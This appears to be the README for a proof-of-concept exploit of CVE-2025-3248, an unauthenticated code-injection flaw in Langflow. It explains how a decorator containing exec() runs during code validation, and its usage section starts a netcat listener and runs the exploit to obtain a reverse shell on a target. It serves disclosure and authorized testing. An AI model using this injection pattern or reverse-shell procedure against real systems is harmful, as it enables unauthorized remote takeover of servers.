Exploit for Code Injection in Langflow

## https://sploitus.com/exploit?id=9A4610FF-1CD2-5A57-B026-325B42ADF181
# CVE-2025-3248 — Langflow Unauthenticated Remote Code Execution

Proof-of-Concept exploit for **CVE-2025-3248**, an unauthenticated remote
code execution vulnerability in [Langflow](https://github.com/langflow-ai/langflow),
an AI/LLM workflow-building platform.

- **Affected versions:** Langflow < 1.3.0
- **Fixed in:** 1.3.0
- **Vulnerability class:** Unauthenticated RCE (CWE-94, Code Injection)
- **Status:** Added to [CISA's Known Exploited Vulnerabilities catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) after being observed exploited in the wild by botnets.

## Root cause

Langflow exposes an endpoint, `POST /api/v1/validate/code`, meant to
"validate" a snippet of Python code submitted by the UI (e.g. custom
component code). Internally it parses and compiles the code with
`ast.parse()` / `compile()` and reports back whether it's valid — with
**no authentication required**.

The bug: Python evaluates **decorator expressions at parse/compile time**,
before the decorated function is ever called. If the submitted "code to
validate" contains a decorator like:

```python
@exec("...malicious code...")
def test():
    pass
```

the `exec(...)` call runs the moment the code is parsed — validation never
needs to actually invoke `test()`. Combined with no auth and no
sandboxing, one unauthenticated HTTP request is enough to execute
arbitrary commands on the host running Langflow.

## Usage

1. Start a listener on your machine:
   ```
   nc -lvnp 9001
   ```
2. Run the PoC against a target:
   ```
   python3 exploit.py --target http://TARGET_IP:7860 --lhost YOUR_IP --lport 9001
   ```
3. If the target is vulnerable, you'll get a shell on the listener.

```
usage: exploit.py [-h] --target TARGET --lhost LHOST [--lport LPORT] [--timeout TIMEOUT]
```

## Requirements

```
pip install requests
```

## Disclaimer

This code is provided for educational purposes and authorized security
testing only (labs, CTFs, engagements with explicit written permission).
Do not run this against systems you do not own or do not have explicit
authorization to test. The author is not responsible for misuse.

## References

- [Langflow Security Advisory GHSA-vwmf-pq79-vjvx](https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx)
- [Horizon3.ai — Unsafe at Any Speed: Abusing Python Exec for Unauth RCE in Langflow AI](https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/)
- [Keysight — CVE-2025-3248: Langflow Unauthenticated Code Validation](https://www.keysight.com/blogs/en/tech/nwvs/2025/06/29/cve-2025-3248-langflow-unauthenticated-code-validation)